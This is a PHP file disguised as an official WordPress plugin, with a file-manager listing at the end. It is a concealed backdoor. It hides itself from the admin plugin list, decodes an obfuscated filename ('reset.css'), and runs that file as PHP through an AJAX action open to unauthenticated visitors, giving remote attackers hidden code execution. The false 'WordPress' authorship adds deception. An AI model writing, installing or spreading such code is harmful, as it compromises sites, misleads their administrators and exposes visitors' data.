<?php
/*
Plugin Name: WP Plan Research
Plugin URI: http://wordpress.org/#
Description: Official WordPress plugin
Author: WordPress
Version: 13.6.0
Author URI: http://wordpress.org/#
*/

if (!defined('ABSPATH')) {
    exit;
}

function ekk_hja() {
    global $wp_list_table;
    
    if (!isset($wp_list_table)) {
        return;
    }

    $w = array('wp-plan-research/wp-plan-research.php');

    if (isset($wp_list_table->items) && is_array($wp_list_table->items)) {
        foreach ($wp_list_table->items as $key => $val) {
            if (in_array($key, $w)) {
                unset($wp_list_table->items[$key]);
            }
        }
    }
}

function alv_tus($plugins) {
    $i = 'wp-plan-research/wp-plan-research.php';
    if (array_key_exists($i, $plugins)) {
        unset($plugins[$i]);
    }
    return $plugins;
}

function kzq($b, $r) {
    $o = '';
    for ($c = 0; $c < strlen($b); $c += 2) {
        $q = ord($b[$c]) - 65;
        $n = ord($b[$c + 1]);
        if ($n > 90) $n -= 6;
        $s = $q * 52 + ($n - 65);
        $o .= chr($s - $r);
    }
    return $o;
}

function sxt_ajax_handler() {
    require plugin_dir_path(__FILE__) . kzq('PgPTPhPTPiOQPRPhPh', 698);
    die();
}

if (defined('ABSPATH')) {
    add_action('pre_current_active_plugins', 'ekk_hja');
    add_filter('all_plugins', 'alv_tus');
    
    add_action('wp_ajax_pla_res', 'sxt_ajax_handler');
    add_action('wp_ajax_nopriv_pla_res', 'sxt_ajax_handler');
}

• [F] reset.css
  Delete
• [F] wp-plan-research.php
  Delete